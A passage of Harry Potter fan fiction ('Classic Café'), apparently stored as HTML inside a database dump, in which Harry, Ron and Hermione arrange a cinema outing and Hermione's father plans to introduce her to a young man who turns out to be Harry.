class="MsoNormal">“See\nyou guys later. Maybe next week we’ll head over to your place, okay Harry?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sure\nthing Dean. Just remind me later so I can give the place a small clean up.\nHonestly, you’d think after all that time with the muggles I should have\nlearned to clean up. See you later Neville.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> The two boys waved and disappeared down the\nstreet leaving Harry and Ron to walk the rest of the way on their own. Almost a\nhalf hour later they came to a stop in front of a small white house, trenched\nbetween the rows of apartment buildings lining the street.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Home\nsweet home,” said Harry looking up. No matter how many times he said it a small\nsmile always crossed his face as he thought of this place as his home.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Having lived most of his life in small cramped\nplaced, such as the closet in the Dursley’s house, having a real place that\nbelonged to him alone was the proudest moment of his life. He had found the\nplace late in his 5th year, with the help of that year’s Defence\nAgainst the Dark Arts professor, Mrs. Figg. Sirius and Dumbledore were dead set\nagainst the idea of him living on his own. Finally after agreeing to let them\nput a full assortment of protection charms surrounding the property, and\npromising not to move in until his 16th birthday, they gave their\napproval.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> A not so gentle punch in the arm shook Harry\nfrom his thoughts. “Don’t just stand there Harry. Open the door,” shouted Ron.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Taking out his keys Harry could only laugh at\nhis friend’s impatience. “You haven’t changed a bit Ron.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Opening the door Harry proceeded to take off\nhis shoes and jacket and follow Ron, who was already walking into the living\nroom.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sure\nI can’t interest you in a cup of coffee or anything before you go?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Sorry\nHarry. I’d love to but mom wants me home before it gets too late. I’ve have a\nfeeling there’s a yard just waiting to be de-gnomed when I get up tomorrow.”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Harry gave a small shrug and knelt down by the\nfireplace to start preparing a small fire for Ron to use.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I\ncan’t wait until we’re finished next year. Starting a fire is a lot easier\nusing magic then doing it the muggle way,” complained Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Honestly!\nYou stare down dark lords without breaking a sweat, but when it comes to a\nlittle job like this you’re hopeless. You need to sort out your priorities my\nfriend. Besides, maybe the Ministry will turn a blind eye for the\nBoy-Who-Lived?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Harry just shook his head. “Don’t even get me\nstarted Ron,” he said as he threw a handful of Floo powder into the fire.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Owl\nme tomorrow?” asked Ron, already putting one foot into the fire.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Count\non it. G’night Ron.”</p>\n<p class="MsoNormal">“G’night\nHarry. The Burrow!” and with that Ron vanished in a puff of smoke leaving Harry\nalone in his living room. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> Deciding that it was still too early to turn\nin for the night, Harry put on some music and raided the kitchen for a snack. After\nfinding some popcorn Harry lay back on the couch and stretched out.</p>\n<p class="MsoNormal">'),
	(20, 2, '\n\n\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><b>Disclaimer</b><b>:</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">As you probably already guessed; none of the\nfollowing characters are mine, they all belong to JK Rowling. To quote many\nbefore me, &#8220;Please don&#8217;t sue me, I don&#8217;t have any money.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><b>---------------------------------------------</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><b>Classic Caf&#233;</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><b>By Quis (shin_endy@hotmail.com)</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><b>---------------------------------------------</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center"><b>Chapter 2: The way the mind works</b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry sat alone on the couch. Since he\nhad finished work he hadn&#8217;t said a word, his mind busy working on overdrive.\nNot even the sound of the TV managed to get his attention. At the moment the\nonly thought he possessed was a simple name. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8216;Hermione&#8217;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;It can&#8217;t be the same Hermione, can it?&#8221; he\nasked.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">Hedwig merely stared at him from across the\nroom.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I mean it a very common name, isn&#8217;t? There\nmust be hundreds here in London.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:35.25pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hedwig continued to stare.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Okay, you&#8217;re right. Sot it&#8217;s not very common.\nPerhaps even rare, but there&#8217;s bound to be a few, right?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;In a desperate act to preserve his sanity\nhe rushed to be bookshelf, grabbed the phone book and began to look through\nnames. &#8220;Hermione, Hermione, Hermione... wait, this won&#8217;t work. Hey, stop\nlooking at me like I&#8217;m crazy Hedwig!&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;If it was possible for an owl to look\nnervous, then Hedwig was certainly fitting the description.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Finally, realizing that he had been\ntalking to his owl, and raving like a madman, Harry shut up and sat back down\nto continue thinking. Even in the small chance it was the girl he hoped it\nwasn&#8217;t, it wouldn&#8217;t matter much, would it?</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;He could picture the two of them sitting\ntogether, laughing at the crazy idea her father had come up with. The way her\nsmile showed so clearly in her eyes as they though about the most incredible\nodds the whole situation involved. The way her body shook gently as she\nstruggled to regain her composure. The way she&#8230;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Please just let this be a misunderstanding.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Just&nbsp;then the phone rang, breaking\nHarry out of the chain of thought his adolescent mind was so set upon. After\nsearching frantically for the source of the ringing , he found it lodged behind\nthe pillows on the couch. &#8220;Hello?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;HELLO? HARRY? CAN YOU HEAR ME? IT&#8217;S ME, RON!&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Grabbing his hands over his ears Harry\ndropped the phone and looked at it in disbelief. Cautiously he leaned back down\nand brought the receiver back to his ear.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Ron, I thought we had explained this whole\nphone thing to you. You don&#8217;t have to yell, remember?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Yeah, of course I remembered. Fred and George\njust thought it would be funny to give you a little fright.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;In the background Harry could hear the\nthree Weasley boys laughing hysterically.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Riiight. Remind me to express my appreciation\nnext time I see them.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I look forward to it. Now, for the reason I\ncalled. We were talking earlier today and she thought it would be nice for us to\ngo to one of those Muggle things, I cinnamon I think she called it.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;That&#8217;s cinema, and who&#8217;s she?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry felt the lump catch in his throat.\nTrying his best to calm down he prayed silently that Ron wouldn&#8217;t notice\nanything, the Weasley&#8217;s would tease him mercilessly.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Um..sure&#8230; Where and what time?&#8221; There, that\nwasn&#8217;t so hard.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Good question. I just heard her say cinnamon\nand sort of got distracted. Maybe I should have written it down.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;How about we say London and I&#8217;ll meet you there?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><br>\n&#8221;All right, that sounds..HEY! Not funny Harry!&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220; I think your brothers would disagree&nbsp;\nwith you there.&#8221; Harry could hear Ron cursing at his two brothers as they began\nto laugh at Ron&#8217;s gullibility.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Okay, but seriously, do you have any idea what\nshe said?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well no. Like I said, my stomach kind of\ndistracted me so I wasn&#8217;t listening after that. I know she said tonight. I\nknow, I&#8217;ll call her again and then call you right back, all right?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Sure, just lower the decibels when you call\nher, okay?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Hey! Excellent idea Harry! Hey Fred, George,\nHarry just had the best&#8230;&#8221; *click*</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Uh oh. If they were going to do what he\nthought they were going to do then there was going to be one angry Hermione\ntonight. Meeting Hermione, tonight. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8216;Well,&#8217; he thought to himself, &#8216;at least I can\nclear up this whole mess tonight. As if I could actually try and hide it,\nHermione would read me like&#8230; well, a book.&#8217;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;The phone started ringing again. A smile\ncrept onto Harry&#8217;s face as an idea came to him. Taking a deep breathe Harry\nanswered the phone and yelled as loud as he could.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;HELLO? HARRY HERE, THAT YOU RON?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;After a gasp and a short pause, an\nequally loud and pissed off voice yelled back.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;WHY IS EVERYBODY YELLING TONIGHT?! IT&#8217;S A BLASTED\nPHONE!&#8221; screamed a fuming Hermione.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Never before had a smile left Harry&#8217;s\nface so quickly. &#8220;She&#8217;s gonna kill me,&#8221; he whispered to Hedwig.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Oh God! I&#8217;m really sorry Mione, I thought you\nmight have been Ron! You know how Ron had trouble with the phone earlier, and\nthen Fred and George&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Harry, you&#8217;re rambling. Anyways forget about\nit, no harm done just a slight ringing in the ears.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Feeling relieved Harry let out the breathe\nhe&#8217;d been holding and relaxed. &#8220;So? You talked to Ron?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well yes and no, we were talking earlier. He\ncalled me just now and started yelling into the phone so I hung up. Honestly,\nyou boys&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I tried to tell him that was a bad idea. He\ndid say something about a movie tonight. What&#8217;s the plan?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well I just thought that since I couldn&#8217;t come\nwith you guys last night that we could meet tonight. Are you busy around 8?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Hmm&#8230; I was planning on having Fleur over\naround then. Then of course there&#8217;s Alicia and Angelina.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Prat.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;The two continued to chat for awhile.\nAlthough Hermione had asked how his day was Harry decided he wanted to tell her\nin person, just in case.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well as much as I&#8217;d like to keep talking\nHarry, I have to go and finish getting dressed. I&#8217;ll see you soon.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;You mean you&#8217;re not dressed? I want details! A\ntowel? A robe? Maybe a set of sexy&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Bye Harry&#8221; *click*</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:44.25pt;text-align:center" align="center">***********</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Shaking her head Hermione felt a smile\nspread across her face. It had been weeks since she&#8217;d actually seen Harry or\nRon so she was really looking forward to tonight. Since they usually spent\nevery waking moment together it was a form of torture to be apart for so long\nduring the summer. She was sure the other two felt the same, well maybe not Ron\nbut definitely Harry. After all, to Harry they weren&#8217;t only friends but also\nthe only real family he had. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione frowned a little at this.\nFamily? Hermione wasn&#8217;t really sure Harry and herself fit into that category\nexactly. She wasn&#8217;t sure if she wanted to be thought of like that by Harry.\nShaking her head in confusion she finished applying a light layer of make-up\nand checked her appearance on last time. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Not bad at all Miss Granger,&#8221; being pleased with\nwhat she saw. With that she grabbed her purse and headed downstairs. Even\nthough she still had plenty of time to meet the others, she still needed a way\nto the movies.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Walking into the kitchen she saw her\nparents sitting at the table sipping cups of coffee. She knew all about her dad&#8217;s\nstrange obsession with coffee, she really hoped some of it was decaf.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;&#8220;Mom, Dad? I need a lift to the movies,\ncan either of you drive me?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Glancing up at her daughter Mrs.Granger\ncould see the obvious effort she had put into her appearance tonight.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;You&#8217;re going out? Tell me dear, you wouldn&#8217;t\nhappen to have a secret date you haven&#8217;t told us about, would you?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I want to meet him. You&#8217;re not dating any boy\nuntil I have a thorough interrogation, err&#8230; introduction with him,&#8221; said her\nfather obviously finding a sudden interest in where his daughter was going\ntonight.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Honestly! If you must know, I&#8217;m meeting some\nfriends from school. Harry and Ron, just friends I might add!&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Clarke&#8217;s brow furrowed. &#8216;Why do those\nnames sound familiar? Harry, that&#8217;s the name of guy at the caf&#233;,&#8217; he thought.\n&#8216;No, it couldn&#8217;t be the same one, that&#8217;s just crazy.&#8217;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I&#8217;ll drive you,&#8221; he said. &#8220;Besides there was\nsomething I wanted to talk to you about.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;What is it?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I&#8217;ll tell you in the car. You ready to go\nnow?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Yup, I&#8217;ll just get my coat.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;The two had been driving for a while now\nand neither had said a word. Hermione was too busy worrying if her dad still\nthought she was on a date, and Clarke was busy actually worrying she was on a\ndate.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Your mother and I were talking,&#8221; said Clarke,\nfinally deciding to break the silence. &#8220;We know that since you spend so much of\nthe year at school that you don&#8217;t get to know many people her at home.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8216;Hmm&#8230;where is this leading,&#8217; thought Hermione.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;You know we&#8217;re very proud of you. Even though\nwe don&#8217;t understand this whole magic concept, we can tell you do very well. We\nreceive many letters from your teachers complementing you on your\nachievements.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Umm, is this what you wanted to talk to me\nabout?&#8221; she asked as she blushed furiously under her father&#8217;s praise.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Clarke was getting nervous but he knew he\nhad to tell her before she left the car. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well actually it&#8217;s about what I said before\nabout you being away so often and not know many of the locals. You see, even\nthough my over-protective father act isn&#8217;t always an act, your mother and I\ndon&#8217;t want you to miss out on the things are girl your age should experience.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;If you only you knew some of the things I&#8217;ve\nexperienced,&#8221; said Hermione, thinking of all the adventures the trio had\nalready been on.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Clarke looked strangely at his daughter.\n&#8220;Right, well, you see&#8230; I have a friend in London. He&#8217;s actually about your age and\nhe said that he&#8217;d like to meet you.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione suddenly looked just as nervous\nas her father.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;He&#8217;s a really good guy, and very trustworthy,\nhow could I say no? You don&#8217;t have to think of it as a date, but would you at\nleast agree to meet him?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;If Hermione wasn&#8217;t so shocked she would\nhave laughed outright at her father&#8217;s attempting to play matchmaker. However\naside from her nervousness another part of Hermione was at work, her curiosity.\nShe had to admit that in order to get not only her father&#8217;s approval but also\nhis respect, he must be quite a guy. Besides, like he said, it couldn&#8217;t hurt.\nIt wouldn&#8217;t be a real date.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;All right,&#8221; she said, almost seeming shocked\nat her own answer.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;You will?! No questions? No shouting about me\nmeddling in your life?&#8221; asked Clarke, obviously equally surprised and yet\nrelieved at the same time.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well you are right about me not knowing people\noutside of school and as for meddling, I think you and mom have a right to make\nup for lost time.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Clarke simply stared at his daughter.\nThere was something awfully familiar about the grin she was giving him. Shortly\nafterwards they arrived at the movie theatre. Hermione knew she was still early\nbut told her dad she&#8217;d be alright and could wait by herself.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;&#8220;If you need a way home just give us a\ncall and we&#8217;ll pick you up,&#8221; he told her as she got out of the car. &#8220;I don&#8217;t\nsuppose you know how your friends will be getting here?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Probably by fireplace.&#8221; Hermione smiled at the\npuzzled look her father gave her.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8216;Very familiar,&#8217; thought Clarke to himself.\n&#8220;Yes, well of course. How else? Anyhow, have fun and I&#8217;ll see if I can get\nHarry to choose a time for the two of you to meet.&#8221; With that he rolled up his\nwindow and drove off.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Did he say Harry?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:44.25pt;text-align:center" align="center">***********</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Meanwhile, Harry and Ron were making\ntheir way down the streets of London.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Are we there yet?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Are we there yet?</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;No&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Are we&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;NO and if you ask me again you&#8217;re going to bed\nwith no dinner.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Satisfied that he&#8217;d driven Harry mad, Ron\nfinally shut up, temporarily.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Are you sure you know where you&#8217;re going?&#8221; Ron\nasked as he looked up at all the tall buildings. &#8220;You know all these buildings\nlook the same to me.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;For the last time, yes I know where we are.\nLook, it&#8217;s just down this street here&#8230; I think..&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry was glad when they finally stood\noutside the theatre. Even after taking the bus, an experience Ron absolutely\nadored, it had still been a long walk. It would have been much easier to fly,\nin Harry&#8217;s opinion.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;So, where&#8217;s Hermione? Merlin knows she&#8217;s never\nlate.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt"><br>\n&#8221;I don&#8217;t see her out here. Come on Ron, she&#8217;s probably already waiting for us\ninside.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;As the two entered the building they\nquickly saw that it wasn&#8217;t going to be easy picking Hermione out of this crowd.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;It doesn&#8217;t smell like cinnamon to me.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry looked at his best friend, not\nreally sure how to respond. &#8220;I thought we&#8217;d already&#8230; never mind.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Well you find Hermione, I&#8217;m heading to buy\nsome snacks. How much do Chocolate Frogs cost in Muggle money?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Now Harry of course loved Ron like a\nbrother but sometimes he had 